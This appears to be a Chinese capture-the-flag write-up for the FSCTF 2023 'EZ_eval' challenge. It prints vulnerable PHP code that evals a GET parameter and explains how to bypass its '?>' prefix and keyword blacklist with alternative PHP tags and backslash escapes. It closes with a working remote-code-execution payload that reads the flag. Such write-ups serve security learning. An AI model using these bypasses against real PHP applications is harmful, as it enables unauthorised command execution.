【FSCTF 2023】EZ_eval

Contents

[FSCTF 2023]EZ_eval

思路

  • 源码

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    
    <?php
        if(isset($_GET['word'])){
        $word = $_GET['word'];
        if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
           die("nonono.");
        }
        $word = str_replace("?", "", $word);
        eval("?>". $word);
    }else{
        highlight_file(__FILE__);
    }

    这里有三个问题

    • ?过滤
    • eval命令前加了php结束符,无法执行我们输入的指令
    • 关键字过滤

    相对需要着急解决的是的 2,因为不解决啥也干不了。

  • 对 2 解决方法

    • <? echo '123';?>

      但前提是前提是开启配置参数short_open_tags=on

    • <script language="php">echo 'hello';

      不需要修改参数开关,但是只能在7.0以下可用

    • <% echo '123';%>

      开启配置参数asp_tags=on,并且只能在7.0以下版本使用

  • 对 1 解决方法:2 的第二个解决方法就顺带解决了

  • 对 3 解决方法

    反斜杠绕过

Payload

1
?word=<script%09language="php">system("c\at%09/fl\ag");

总结

  • RCE
  • eval执行时用了php的结束标志?>绕过
  • WAF绕过
0%